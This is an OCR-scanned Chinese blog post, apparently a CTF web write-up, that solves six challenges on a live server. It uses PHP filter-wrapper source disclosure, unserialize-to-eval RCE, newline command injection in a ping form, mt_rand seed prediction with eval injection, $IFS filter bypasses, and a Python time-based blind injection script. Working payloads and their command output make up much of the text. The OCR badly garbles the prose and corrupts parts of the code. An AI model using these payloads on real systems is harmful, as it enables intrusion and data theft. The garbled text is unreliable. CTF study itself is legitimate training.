IBEKMENE LSRG CTFSERE (EIU=) 128 Fweb
write upfBif#

B HEES F 2019-12-27 22:13:10 KA 1689 e 1

FRLE: HESEL LERE: Hih ZR5=E

FRALE B ASCRE ERAQISCE, #IE_CC 4.0 BY-SA WA, B85 _EFE T s AE i,
ACEERE: https://blog.csdn.net/weixin_41598660/article/details/103739112

i £ AT Sl & S

27 WX E 0T
BT
AREMRANMNIATIR/NEY, THREREMRR, TRENFRAGIE LT IwebE CR7EFHELE...)

WMRERT, ERMEMEK, HETHEFTHRIwebE, HZXIXHEOHBERER, MEARDE, FiXRwrite upli e &5
Hi#, BEggHzs, —&n!
1. B H: nani
. /8 H: admin
. @ H: Ping
. BH: random
. M H: post
. @ H: post2

o a0 A~ W N

BH: nani
EEBERT,

G @ # view-source:http://120.55.43.255:24719/

<html>
{title>Where</title>

<a href=". /index. php?file=show. php”></a><{/html>

F1& 15 A 5 Bl user.php


https://blog.csdn.net/weixin_41598660
https://blog.csdn.net/weixin_41598660/category_9611230.html
https://so.csdn.net/so/search/s.do?q=%25E5%2585%25B6%25E4%25BB%2596&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BB%258F%25E9%25AA%258C%25E5%2588%2586%25E4%25BA%25AB&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_41598660/article/details/103739112
https://blog.csdn.net/weixin_41598660/category_9611230.html

http://120.55.43.255:24719/index.php ?file=php.//filter/read=convert.base 64-encode/resource=user.php

base64f#iy, 5 HIRIE

<?php

class convent{

var $warn = "No hacker.";

function __ destruct(){
eval($this->warn);

}

function __ wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}

}

}

$cmd = $_POST[cmd];

unserialize($cmd);

?>

M3 7 54k IE 4]
sXtBi ) R string 1 78, B bA

cmd=0:7:"convent":2:{s:4:"warn";s:17:"system("whoami");";}
B

» -
@) i) 120.55.43.255:2471%/user. . @ BB O “Q'Eﬁ Crrl+ks I B + #®
(o) BEDE | AKEENES @ HFEEE @ Vindors Nedia @ Findows @ B9 Hownail | EAME

s g |10 *| = & SQL- VUHION BASED- ERROR/DOUBLE- TOOLS- WAF BYFASS- ENWCODE- HIML- EHCEYPT-
@ Lead UEL http:/f120.55. 43, 255: 24719/ hser. php
& Selit VRL
b Execute
<6 Bt [ Rfurs @ GBI e WR o e B wm |
Fost data end=0:T: “convent™ 2 {s:4: "warn"; =217 “sy=tem (“whosni ™) ;"]
H-H
apache
{=:

st B [ A& string B %5, FifbA

cmd=0:7:"convent":2:{s:4:"warn";s:13:"system("Is");";}



(2] EHE KMEFSESE @ WFELEE @ Findows Media @& Yindows & R Hotmail WAl
INT v| = ¢ SqQL- UNION BASED- ERROR/DOVELE- TOOLS~ WAF BYFASS- ENCODE- HTHL- ERC

@& Losd URL http: /120,55 43,255 24719/ uzer. php

& Split VRL
b Exscute

= @ ¥ Fost [ Referrer K OEX B, @ WKL 38 @ BASEM 8,
Fozt data

ond=0:7T: "convent”:2: {s:4: "warn”;5:13: "system ("1s"):":}

dsuhhjfdg jhaskjdkj. txt index. php show. php user. php

WS 7%, HEpython.

print (len|(|"ds

M Fs#E HEHBfag
B o Load VEL [ nutp://120.55 43.255: 24719/ user. phy
£ spliv L
E Execute
c 6 Pt [ hfere @ OOE 3m  aw AL e BB m [
ezt date ead=0;T: "convent™:2: [z 4: "warn”; 5:37: “"system ("cat dzubhjfdgihaskjdkj. txt™): "}
flag{

M H: admin

BIHH RS
e
= "user"
= "file"
= "pass"
if(isset &&(file_get_contents 'r')==="admin"
echo "hello admin!<br>"
include //class.php
else

echo "you are not admin ! "

#Ji& hitp://120.55.43.255:28119/?user=php://input&file=php://filter/convert.base64-encode/resource=class.php&pass=1
Postf&i#admin



T ‘i = & SQL- UNION BASED- ERROR/DOUVBLE- TOOLS+ WAF BTPASS- ENCODE- HTML- EWCETFT- WORE- XS5+ LFI-
| Losd WL —_— — - — - — - -
Split URL

Ezecute

= @ [ Fast [ Referrer < OxHEX 3, - WAL ., v EISEEA ||n('.l 1o |tesert re ¥ Rapluce
st data

wduin

ello admin!
DémaHANCVyemSy R3] 1 cGoydG luZyhF HOFNTCAmI HEF XOSPVEL DRk T Do DOy jbGF zcyB SZWF ey SvinZ snZmb G nlnBochl

ERSTS

<?php
error_reporting(E_ALL & ~E_NOTICE);

class Read{/fffffflag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
1

return "Awwwwwwwwwww man'”;

RJEME TSI

http:/localhost:8000/?user=php.//input&file=class.php&pass=0:4:"Read":1:{s:4:"file";s:62:"php.//filter/read=convert.base 64-encode/resource=
fffffflag.php";}

INETSHAIT. USROS .11, //120, 55, 43 255:2.0 X r.+

:f/- i1 | 120,55, 43, 255 20119/ index. phyTusersphp o ..IG“J’\‘;' . ol + A O @ =
B REAE | AEEFES @ WELR @ Vindos Bedia @ Tindors @ 8% Hoteail | FEAE & gEEs [ EFas
[ =] = ¢ sii- WOON BASED- ERRORFDOVELE- TOOLS- WAY FIPASS- ENCODE- HTML- ENCEYFT- WORE- ISS- LPI-
& Lexd WEL htip: /120055 43, 255 28019/ index, phpTusar=pbe: /firguthfile=clazs. phpdpazs=0:4: “Bend™: 1: {xod: "Fila":x 62 “php /il
;; Srlit WL frasd=convert. baseld-encede/resour co2 FEFEEflag pig™; |
v Egecate

-8  Fest [ Bafarrer <= GuiED ym s GEL wm s BSEA wm |:..-.|- |:..-.|.- [ Baplace
Fezt dats iz

hel

lo adnin!

B Jibase64f#tg 15 Hiflag

M H: Ping



BIRIA 1R

There is a ping. php

I—
Spassword="" ”
if(isset (§_POST[ password' J)) {
if (stremp($ _POST[ password’], Spassword) = 0) {
echo "Right!!!login success”;
include (§_REQUEST[ path']);
exit () N
} else {
echo “Wrong password..”;
}
—>
labes

http://120.55.43.255:21173/?path=php.//filter/read=convert.base64-encode/resource=ping.php

postfE#ipassword[]=asdasd

base64 #1153 H YRGS

<?php
if(isset($_REQUEST] 'ip' )) {
$target = trim($_REQUEST] 'ip' 1);
$substitutions = array(
g ="
b=t
.

e
l$l
l(l => ll‘
l)l
" => ll‘

l||l => ll’
)
Starget = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c4'. $target );

echo $target;
echo "<pre>{$cmd}</pre>";



AT ST b 2R
linux#: %0a+ %0d. ;+ &+ |+ &&. ||
windowsH': %0a. &. | %la (—AHEFKMAE, 1R batstfFH a4 4R

IKT v| = & G5QL- UNION BASED- ERROR/DOVELE- TOOLS- WAF BYPASS

Load URL http:/f120.55.43. 25521173/ ping. php

= @ [¥ Past [ Referrer % O:xHEX - L LD p|

Post data

ip=0.0.0. 0%0als

0.0.0.0 1s

PING 0.0.0.0 (0.0.0.0): 56 data bytes
ffffffllllaazgzz. txt

index. php
ping. php
B J5 B ¥icat f8flag
.
i e BEAE | ARHERES @ HFLE @ findors Media & Vindows & R Hotnail | BA
ons )| [zer v| = & SQL- VMION BASED- ERROR/DOVELE- TOOLS- WAF BYPASS- ENWCODE- HIML- ENI
blac g Lead URL http:/f120. 55 43 255:21173/ping php
& spliv R
fofo t) Execute
ns ), = @ ¥ Post [ Referrer ‘S OxHEL E’ S RUEL B G BASES4 E
Fost data ip=0.0.0.0%0acat fEFFFEIL1langege. tut
wctiol
tions
" 0.0.0.0 cat ffffffllllaagggs. tut
ac
PING 0.0.0.0 {0.0.0.0): 56 data bytes
flagly o
arral
tion

i H random



<?php
show_source(__FILE_ );
include "flag.php";
$a = @$_REQUEST['hello'];
$seed = @$_REQUEST['seed'];
$key = @$_REQUEST['key'];

mt_srand($seed);

$true_key = mt_rand();

if ($key == $true_key){
echo "Key Confirm";

}
else{

die("Key Error");
}

eval( "var_dump($a);");
7> Key Error

X BARVHS = BB R U E postfi A seed,
seedfEmt_srand () 3XANE % T i R (9 {8 B Al postfe A Ky key B 1 % 4 2 P47 T — P eval( "var_dump(y);”) i 5 key
== $true_keyEHAZE, BMaPITelselX MidifEdie (O LR H.

E—Bphpf2 7, %18 H%EKkeyE

<?php
$seed = 1;
Skey = @$_REQUEST['key'];

mt_srand($seed);
$true_key = mt_rand();
echo $true_key;

7>

15 181244335972

Higplaylaod

payload = http://120.55.43.255:27189/?seed=18&key=1244335972&hello=1),system('ls’

playloadiigEth 2F — e K E B K, hellofEH £ % $a

_ _ _REQUEST/‘hello’};, [FIBTZ G eval( “var_dump($a);”);
%ﬂﬂ?ev&ﬂ (“var_dump (1) ; system (‘Is*) ; )
XEEBPAT Tsystem (Is) XANEREK 4L, A5 catfFflag



(€) D 120.55. 4285 2718 i c|lasxcone [REIE K A
(& REmWE  AEEANS @ WELE @ findors Bedia @ Findows @0 B Hotesil  WAFME

[B =] = © Sii- UNION BASED- EGOR/DOVLE- TOOLS- WAF BYPASS- EWCODE- NTHL- EECRYFT-
@ Load B [ nesp /712055, 43, 255 2viesy

P T

+ Execute

. ¥ Bost [ Refarrer & OxHED ym g WEL 3w  ger BASER wm |

Fost dats

seeda] Z3SEAkeys 1B6302704Ahel L ox1 ) ; systen " s’

$key = 83_RBQUEST( key I,

mt_srand(§seed) ;
$true_key = mt_rand();
if ($key == $true_key) [
echo "Key Confirm”;
L
elsel
die("Key Error”);

eval { "var_dump ($a) ;") ;
7 Key Cenfirmint(1) flag. phy index. php

A e A RE o e A e e e A AP L PR e o EE e 8 e e A B A derais

Post1

BEA T

¢ @ © & 120.5543.255:20133

POST[a] ROREA LT 7.

HEIEG

POST[a] ZRBATTLSIEEF T -

<l--

eval(system($c));/read flag.txt But no cat! ! !

-—>

Linux3C 22 & fir 4 (cat,tac,rev,head tailmore less,cut) =& — T

|J.IH. T| = & SHLT UNLUN SBASEUT  BAKULSUUUSLE®  LUULST  WAF BIFAC

d; Laad UKL http: /120 55 43 255: 20133/
B split uRL
E ) Execute

- |7 Fost |- Referrer S 0x:HEX B S HURL 2

- Fost data

a~tail

POST[a] FEAFEAIBTHEST T. BIMEIES

RERE, ZXBcuthr ik (RIMBEL RKRET, BRERRMBELT?



Logzd UEL http:/f120.55. 43. 255: 20133/

= @ [¥ Past [ Referrer % O:xHEX - L e

4 Post data

a= r_'utl

1 POST [a] & HE IR HEN T .

EHSRXE, FEASE]

SIFSIEEBRMITT
a=cut${IFS}-b1-${IF S}flag. txtB A] #g ik i K

BEKEcut -b1 -flag.tt (bEBR BRI E/FH)

Load VREL http:,//120.55. 43. 255: 20133/

= & ¥ Post [ Referrer X OxiEi wm g WEL wm @ BASK

a=cutd {IFST-b1-${IFS] flag. txt|

POST[a] XA FEMITHEFT. flag Wow_Cus_dlid €4+ _1c0k3_Shdde)

R R ST T B, BIEwT:

CEORMAATHRENANSH NEE FTURZE , ikSIFSHLM#T

cut& FigH)
THENBINFHAEISE: cut -c1-flag.txt*
(BRI, A2, LR, cHAERE RN Z)

L AN L 0 | A es Hae W UF1 1 LU e MeelMuEo mLse o wearawno L LIS e meean
IINT vI = & SQL- UNWION BASED- ERROR/DOUELE- TOOLS- WAF BYPASS- EWCODE- 1

@ Lead VEL |http://120.55. 43. 255: 20133/
B splis vRL

b/ Execute

= & |7 Fost I_ Referrer S 0:HEX B S HUEL B g BA

Fost data

a=entFIFSFO-e1-FIFSE0flag. tut

POST[a] P Mt iEST T flag WOw Cut_dNd Cdt 1o00kS_Shdde}

B J5 — /B post2



Fwrite upA R 2 EA KM, FELIXFETH
A FHAKAag, SMNEFATUECETFTREER.

import requests
import string
dic = string.printable
flag ="
for jin range(1,33
for i in range(len(dic
url = "http://120.55.43.255:22712"
data =
"emd" : ™[ “cut -c "'+str(j)+™ flag.txt” = "%c" ] && sleep 5" %dic]i

try

r = requests.post(url,data=data,timeout=1
# print data

except requests.exceptions.ReadTimeout,e
flag += dicli

print flag

break

flag{WOw_Cut_4N
flag{WOw_Cut_4Nd
flag{WOw_Cut_4Nd_
flag{WOw_Cut_4Nd_C
flag{WOw_Cut_4Nd_C4
flag{WOw_Cut_4Nd_C4t
flag{WOw_Cut_4Nd_C4t_
flag{WOw_Cut_4Nd_C4t_1
flag{WOw_Cut_4Nd_C4t_lo
flag{WOw_Cut_4Nd_C4t_100
flag{WOw_Cut_4Nd_C4t_lo0k
flag{WOw_Cut_4Nd_C4t_100kS
flag{WOw_Cut_4Nd_C4t_1lo@kS_
flag{WOw_Cut_4Nd_C4t_100kS_S
flag{WOw_Cut_4Nd_C4t_lo@kS_5S4
flag{WOw_Cut_4Nd_C4t_1o@kS_5S4m
Wow_Cut_ 4K PP T Y0 S iz
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